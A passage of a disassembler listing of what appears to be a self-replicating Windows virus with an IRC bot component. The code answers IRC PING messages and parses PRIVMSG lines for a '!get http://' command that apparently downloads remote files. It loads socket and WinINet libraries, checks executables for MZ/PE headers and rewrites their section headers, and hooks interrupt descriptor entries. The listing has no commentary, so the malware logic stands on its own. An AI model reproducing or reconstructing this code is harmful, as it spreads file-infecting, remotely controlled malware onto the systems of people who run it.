push 40000000h
push edx
call dword ptr [ebp+402427h]
xchg eax, esi
test esi, esi
jz short loc_4DEC59
loc_4DEBFE: ; CODE XREF: .sxdata:004DEC2Cj
push eax
push esp
push 104h
push edi
push dword ptr [esp+220h]
call dword ptr [ebp+4024E3h]
pop ecx
test eax, eax
jz short loc_4DEC2E
jecxz short loc_4DEC2E
push eax
mov edx, esp
push 0
push edx
push ecx
push edi
push esi
call dword ptr [ebp+40248Fh]
pop ecx
test eax, eax
jnz short loc_4DEBFE
loc_4DEC2E: ; CODE XREF: .sxdata:004DEC16j
; .sxdata:004DEC18j
push esi
call dword ptr [ebp+402407h]
lea edx, [edi+44h]
push edx
push edi
push 44h
pop eax
lea edx, [edi+104h]
stosd
xor eax, eax
push 10h
pop ecx
rep stosd
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push edx
call dword ptr [ebp+40242Fh]
loc_4DEC59: ; CODE XREF: .sxdata:004DEBFCj
add esp, 208h
push dword ptr [esp+8]
call dword ptr [ebp+4024D3h]
loc_4DEC69: ; CODE XREF: .sxdata:004DEBAAj
push ebx
call dword ptr [ebp+4024D3h]
pop ebp
retn 4
; ---------------------------------------------------------------------------
cmp byte ptr [esi], 0Ah
jnz short loc_4DEC7A
inc esi
loc_4DEC7A: ; CODE XREF: .sxdata:004DEC77j
mov ecx, [ebp+401484h]
jecxz short loc_4DEC9B
lea edx, sub_401000[ebp]
add edx, ecx
push esi
call edx
test al, al
js loc_4DEDB4
jz loc_4DEDAB
loc_4DEC9B: ; CODE XREF: .sxdata:004DEC80j
cmp byte ptr [esi], 3Ah
jnz short loc_4DECB0
loc_4DECA0: ; CODE XREF: .sxdata:004DECADj
inc esi
cmp byte ptr [esi], 0
jz loc_4DEDAB
cmp byte ptr [esi], 20h
jnz short loc_4DECA0
inc esi
loc_4DECB0: ; CODE XREF: .sxdata:004DEC9Ej
cmp dword ptr [esi], 474E4950h
jnz short loc_4DECFA
mov ecx, edi
mov byte ptr [esi+1], 4Fh
sub ecx, esi
push ecx
push 0
push ecx
push esi
push ebx
call dword ptr [ebp+4024CBh]
pop ecx
cmp eax, ecx
jnz loc_4DEDB4
lea eax, [ebp+401C32h]
push 0
push 0Ch
push eax
push ebx
call dword ptr [ebp+4024CBh]
cmp eax, 0Ch
jnz loc_4DEDB4
jmp loc_4DEDAB
; ---------------------------------------------------------------------------
loc_4DECFA: ; CODE XREF: .sxdata:004DECB6j
cmp dword ptr [esi], 56495250h
jnz loc_4DEDAB
add esi, 8
loc_4DED09: ; CODE XREF: .sxdata:004DED14j
lodsb
cmp al, 0Dh
jz loc_4DEDAB
cmp al, 20h
jnz short loc_4DED09
lodsb
cmp al, 3Ah
jnz loc_4DEDAB
lodsd
or eax, 20202020h
cmp eax, 74656721h
jnz short loc_4DEDAB
lodsb
cmp al, 20h
jnz short loc_4DEDAD
cmp dword ptr [esi-1], 74746820h
jnz short loc_4DEDAB
cmp dword ptr [esi+3], 2F2F3A70h
jnz short loc_4DEDAB
mov byte ptr [edi-1], 0
rdtsc
mov edx, 2710h
mul edx
push edx
call dword ptr [ebp+402483h]
xor eax, eax
push eax
push eax
push eax
push eax
call near ptr loc_4DED69+2
inc esp
outsd
ja short loc_4DEDD4
insb
outsd
popa
loc_4DED69: ; CODE XREF: .sxdata:004DED5Dp
db 64h
add bh, bh
xchg eax, ebp
; ---------------------------------------------------------------------------
dd offset loc_4024D6+5
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_4DEDAB
xor ecx, ecx
mov [ebp+402505h], eax
push ecx
push 80000200h
push ecx
push ecx
push esi
push eax
call dword ptr [ebp+4024DFh]
lea edx, loc_401992[ebp]
push eax
xor ecx, ecx
push esp
push ecx
push eax
push edx
push ecx
push ecx
call dword ptr [ebp+402437h]
xchg eax, [esp]
call dword ptr [ebp+402407h]
loc_4DEDAB: ; CODE XREF: .sxdata:004DEC95j
; .sxdata:004DECA4j ...
clc
retn
; ---------------------------------------------------------------------------
loc_4DEDAD: ; CODE XREF: .sxdata:004DED2Fj
or byte ptr [ebp+401477h], 1
loc_4DEDB4: ; CODE XREF: .sxdata:004DEC8Fj
; .sxdata:004DECCFj ...
stc
retn
; ---------------------------------------------------------------------------
dw 4F53h
dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch
dd 73776F64h, 7275435Ch
; ---------------------------------------------------------------------------
loc_4DEDD4: ; CODE XREF: .sxdata:004DED64j
jb short near ptr loc_4DEE3A+1
outsb
jz short loc_4DEE2F
db 65h
jb short near ptr loc_4DEE4B+4
imul ebp, [edi+6Eh], 7078455Ch
insb
outsd
jb short near ptr loc_4DEE4B+1
jb short $+2
push ebp
outsb
imul esi, [ecx+75h], 736F4865h
jz short $+2
add al, [eax]
push eax
jg short $+2
add [ecx], al
jo short loc_4DEE70
outsd
js short near ptr loc_4DEE69+1
insd
popa
imul esi, cs:[edx+63h], 616C6167h
js short near ptr loc_4DEE85+1
db 2Eh
jo short loc_4DEE7C
add [esi+49h], cl
inc ebx
dec ebx
and [ecx+77h], ch
jns short near ptr loc_4DEE7F+2
push 73h
bound ebp, [edx+ecx+55h]
push ebx
inc ebp
push edx
and [ecx+30h], ch
xor dh, [eax]
xor eax, 2E203130h
and [esi], ch
loc_4DEE2F: ; CODE XREF: .sxdata:004DEDD7j
and [edx], bh
pop edi
dec edx
dec edi
dec ecx
dec esi
and [esi], ah
jbe short near ptr loc_4DEEA2+1
loc_4DEE3A: ; CODE XREF: .sxdata:loc_4DEDD4j
jb short near ptr loc_4DEEAF+1
jnz short near ptr loc_4DEE45+3
push ebp
call $+5
pop ebp
loc_4DEE45: ; CODE XREF: .sxdata:004DEE3Cj
sub ebp, 401C44h
loc_4DEE4B: ; CODE XREF: .sxdata:004DEDE5j
; .sxdata:004DEDD9j
mov byte ptr [ebp+401477h], 0
call dword ptr [ebp+40245Bh]
shr eax, 1Fh
jz short loc_4DEE99
push 1Eh
mov esi, [ebp+40241Bh]
pop ecx
loc_4DEE66: ; CODE XREF: .sxdata:loc_4DEE95j
lodsb
cmp al, 2Eh
loc_4DEE69: ; CODE XREF: .sxdata:004DEDFFj
jnz short loc_4DEE95
cmp word ptr [esi], 1DFFh
loc_4DEE70: ; CODE XREF: .sxdata:004DEDFCj
jnz short loc_4DEE95
lea edi, [ebp+4024FBh]
mov esi, [esi+2]
push edi
loc_4DEE7C: ; CODE XREF: .sxdata:004DEE0Dj
movsd
movsw
loc_4DEE7F: ; CODE XREF: .sxdata:004DEE18j
lea eax, loc_40234F[ebp]
loc_4DEE85: ; CODE XREF: .sxdata:004DEE0Bj
pop dword ptr [ebp+402375h]
cli
mov [esi-6], eax
mov word ptr [esi-2], cs
sti
mov cl, 1
loc_4DEE95: ; CODE XREF: .sxdata:loc_4DEE69j
; .sxdata:loc_4DEE70j
loop loc_4DEE66
jmp short loc_4DEEDC
; ---------------------------------------------------------------------------
loc_4DEE99: ; CODE XREF: .sxdata:004DEE5Bj
lea eax, [ebp+40149Fh]
push eax
push 0
loc_4DEEA2: ; CODE XREF: .sxdata:004DEE38j
push 6
call dword ptr [ebp+40246Bh]
cmp dword ptr [esp+8], 4
loc_4DEEAF: ; CODE XREF: .sxdata:loc_4DEE3Aj
jnz short loc_4DEEDC
call near ptr loc_4DEEB9+1
push ebx
inc esi
inc ebx
loc_4DEEB9: ; CODE XREF: .sxdata:004DEEB1p
add bh, bh
xchg eax, ebp
dec edi
and al, 40h
add al, ch
dec esp
cld
; ---------------------------------------------------------------------------
db 0FFh
dd 7E8FFh, 46530000h, 534F5F43h, 4F95FF00h, 0E8004024h
dd 0FFFFFC35h
; ---------------------------------------------------------------------------
loc_4DEEDC: ; CODE XREF: .sxdata:004DEE97j
; .sxdata:loc_4DEEAFj
call sub_4DE32A
dec dword ptr [ebp+401262h]
call near ptr loc_4DEEF6+1
push ebp
push ebx
inc ebp
push edx
xor esi, [edx]
db 2Eh
inc esp
dec esp
dec esp
loc_4DEEF6: ; CODE XREF: .sxdata:004DEEE7p
add bh, bh
xchg eax, ebp
arpl [eax+eax*2], sp
add al, ch
or al, [eax]
; ---------------------------------------------------------------------------
dd 73770000h, 6E697270h, 416674h, 1395FF50h, 89004024h
dd 40241F85h, 8D310F00h, 4017898Dh, 1858900h, 51004025h
dd 246395FFh, 68930040h, 4, 1796B58Dh, 8D590040h, 4024E7BDh
dd 0F746E800h, 0C766FFFFh, 401BF685h, 83F0FF00h, 401BF8A5h
dd 958D0000h, 401BB6h, 16A5450h, 6852006Ah, 80000002h
dd 24EB95FFh, 0C0850040h, 8D22755Ah, 401BE98Dh, 66A5200h
dd 1BF6B58Dh, 56540040h, 52515050h, 24EF95FFh, 0FF580040h
dd 4024E795h, 885C600h, 4027h, 0CE8h, 4F535700h, 32334B43h
dd 4C4C442Eh, 6395FF00h, 93004024h, 768h, 0EDB58D00h, 59004016h
dd 24B7BD8Dh, 0C1E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh
dd 4C4C44h, 246395FFh, 0C0850040h, 1E7840Fh, 68930000h
dd 5, 172BB58Dh, 8D590040h, 4024D3BDh, 0F68AE800h, 0BD83FFFFh
dd 4024D7h, 0C2840F00h, 81000001h, 190ECh, 1685400h, 0FF000001h
dd 4024B795h, 90C48100h, 50000001h, 6AD48Bh, 0D795FF52h
dd 85004024h, 0D7559C0h, 138868h, 8395FF00h, 0EB004024h
dd 0F8BD83E2h, 401Bh, 858D2975h, 401BFCh, 0C395FF50h, 85004024h
dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401BF8h, 270885C6h
dd 6A010040h, 6A016A00h, 0CF95FF02h, 83004024h, 840FFFF8h
dd 112h, 0F4958D93h, 6A00401Bh, 0FF535210h, 4024BF95h
dd 0FC08500h, 0F285h, 16BD8D00h, 0B100401Ch, 0FAC0E808h
dd 9468FFFFh, 5E000000h, 3489E62Bh, 95FF5424h, 40245Fh
dd 1C24BD8Dh, 1B10040h, 0FFFAA1E8h, 24448BFFh, 8E0C110h
dd 424440Bh, 0B08E0C1h, 50082444h, 5E8h, 362E2500h, 0FF570078h
dd 40241F95h, 0CC48300h, 200647C6h, 1C11958Dh, 6A0040h
dd 2168h, 0FF535200h, 4024CB95h, 247C8D00h, 95FF5714h
dd 402423h, 0A3804C6h, 50006A40h, 95FF5357h, 4024CBh, 0BD8DE603h
dd 401C32h, 0C68006Ah, 57000000h, 0CB95FF53h, 3D004024h
dd 0Ch, 0B58D4D75h, 402509h, 27088D8Dh, 0CE2B0040h, 5651006Ah
dd 0C795FF53h, 83004024h, 2F7E00F8h, 8DFE8B91h, 402509B5h
dd 0F20DB000h, 601075AEh, 0FFFAF7E8h, 177261FFh, 778D09E3h
dd 8BEAEB01h, 8DCE2BCFh, 402509BDh, 87A4F300h, 53B9EBF7h
dd 24BB95FFh, 0BD800040h, 401477h, 682A7401h, 7530h, 248395FFh
dd 0BD800040h, 402708h, 0C7117400h, 401BF885h, 0
dd 885C600h, 4027h, 0FFFE56E9h, 8085C7FFh, 4014h, 5D800000h
dd 8D0004C2h, 402709B5h, 95FF5600h, 402443h, 0FFFF883h
dd 0BB84h, 0D858900h, 6A004028h, 95FF5600h, 40247Bh, 840FC085h
dd 0A4h, 5050C02Bh, 6A50036Ah, 6801h, 0FF56C000h, 40242795h
dd 0FFF88300h, 2E4840Fh, 85890000h, 402811h, 28158D8Dh
dd 958D0040h, 40281Dh, 6A5251h, 4B95FF50h, 83004024h, 840FFFF8h
dd 2B2h, 0B5FF006Ah, 402811h, 244795FFh, 0F8830040h, 9B840FFFh
dd 89000002h, 40282585h, 3C93300h, 515051C3h, 0FF51046Ah
dd 402811B5h, 2B95FF00h, 85004024h, 77840FC0h, 33000002h
dd 298589C9h, 51004028h, 1F685151h, 50000F00h, 246795FFh
dd 0C0850040h, 230840Fh, 85890000h, 40282Dh, 384B8BC3h
dd 5838B8h, 3D23300h, 0F7F1F7C1h, 358589E1h, 8B004028h
dd 6B83C4Bh, 33000014h, 0F7C103D2h, 89E1F7F1h, 40283185h
dd 0B70FC300h, 0E3F9064Bh, 18538D36h, 1443B70Fh, 6B49D003h
dd 0D00328C1h, 775F3A81h, 74F96E69h, 7A83491Eh, 0DF72010Ch
dd 8B3C4B8Bh, 42031442h, 48448D10h, 23D9F7FFh, 25853BC1h
dd 0C3004028h, 24448B59h, 0B888890Ch, 33000000h, 0CF8BC3C0h
dd 0BD8D0BEBh, 402709h, 33DF8BFCh, 613CACC9h, 7A3C0672h
dd 202C0277h, 745C3CAAh, 742E3CECh, 75003CDDh, 8BC8E3E8h
dd 58453D01h, 0B740045h, 5243533Dh, 49850F00h, 8BFFFFFFh
dd 49573D03h, 840F434Eh, 0FFFFFF3Ch, 5543573Dh, 31840F4Eh
dd 3DFFFFFFh, 32334357h, 0FF26840Fh, 503DFFFFh, 0F4F5453h
dd 0FFFF1B84h, 0E8DB33FFh, 0FFFFFE43h, 0FF0E840Fh, 0D233FFFFh
dd 16E8h, 0FF6EE800h, 0E8FFFFh, 5D000000h, 21B3ED81h, 0F9E90040h
dd 64000000h, 0B58B32FFh, 40282Dh, 66228964h, 5A4D3E81h
dd 0E2850Fh, 5E8B0000h, 66DE033Ch, 45503B81h, 0D2850Fh
dd 43F70000h, 200016h, 0C5850F00h, 0F6000000h, 0F025C43h
dd 0BB84h, 207E8100h, 20202020h, 0AE840Fh, 0CFE80000h
dd 0FFFFFFEh, 0A382h, 0FE97E800h, 0A2E8FFFFh, 8B000000h
dd 4028319Dh, 0FDB5E800h, 840FFFFFh, 88h, 282DB58Bh, 5E8B0040h
dd 0E8DE033Ch, 0FFFFFE9Eh, 4A817672h, 6024h, 56FE8BE0h
dd 8D147A03h, 401000B5h, 107A0300h, 501B9h, 0A5F35700h
dd 2E303B1h, 5E5FA4F3h, 92310F52h, 155878Dh, 50880000h
dd 0EECBE8FFh, 8B5AFFFFh, 4A030C4Ah, 5418D10h, 8928432Bh
dd 46C71247h, 20202020h, 284B8920h, 8B104A8Bh, 40283185h
dd 84A3900h, 4A890373h, 10420108h, 586383h, 2835858Bh
dd 42010040h, 50430108h, 8B64D233h, 28F6422h, 11BD8358h
dd 4028h, 0FDE2840Fh, 0B5FFFFFFh, 40282Dh, 248795FFh, 0B5FF0040h
dd 402829h, 240795FFh, 8D8D0040h, 402815h, 281D958Dh, 52510040h
dd 0B5FF006Ah, 402811h, 247F95FFh, 0B5FF0040h, 402811h
dd 240795FFh, 0B58D0040h, 402709h, 280DB5FFh, 0FF560040h
dd 40247B95h, 11A58300h, 4028h, 0E8C3h, 6A5D0000h, 2EED8101h
dd 58004023h, 85C10FF0h, 401480h, 83C3C085h, 0FF0FFC8h
dd 148085C1h, 3DC30040h, 2A0010h, 81661C75h, 6C0C247Ch
dd 60137571h, 0FFFFC4E8h, 0E80575FFh, 0FFFFFDC2h, 0FFFFD2E8h
dd 0FF2E61FFh, 3456782Dh, 0AAE86012h, 75FFFFFFh, 24448B39h
dd 9B58D30h, 8B004027h, 81660850h, 7302063Ah, 685625h
dd 8B00FF00h, 52006AC4h, 0B395FF50h, 83004024h, 3E8108C4h
dd 5C3F3F5Ch, 0C6830375h, 0FD74E804h, 84E8FFFFh, 61FFFFFFh
dd 25B8h, 2FB8C300h, 0E8000000h, 10h, 0B80020C2h, 30h
dd 3E8h, 24C200h, 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h
dd 24548B00h, 1A8B5D30h, 23F1ED81h, 4E80040h, 61FFFFF4h
dd 630004C2h, 0DE77E779h, 7D77E737h, 0FD77F515h, 77E7A5h
dd 2 dup(0)
dd 72000000h, 3777E746h, 9777E7A8h, 0B877E777h, 8377E61Bh
dd 3777E7AAh, 0E777E7ACh, 4977EBB1h, 0AB77E73Ch, 0EF77E74Ch
dd 0E277E793h, 9377E73Ch, 8F77E79Fh, 3477E6AFh, 8677E6ADh
dd 5777E7C4h, 0D877E7C6h, 7677E805h, 1577E74Dh, 0B777E7C8h
dd 9577E706h, 0E977EBA5h, 9677EBA6h, 1A77E703h, 0E677E701h
dd 9077E61Bh, 0A77E750h, 8C77E798h, 6377E79Dh, 377F7E4h
dd 0A377F7E6h, 0B377F7E6h, 7377F7E6h, 6377F7EAh, 4377F7EBh
dd 377F7ECh, 3377F7F5h, 77F526h, 12A5h dup(0)
dword_4E414C dd 2Dh dup(0) ; DATA XREF: .data:off_43ACE4o
_sxdata ends
; Section 5. (virtual address 000E5000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000E4200
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4E5000h
align 2000h
_idata2 ends
end start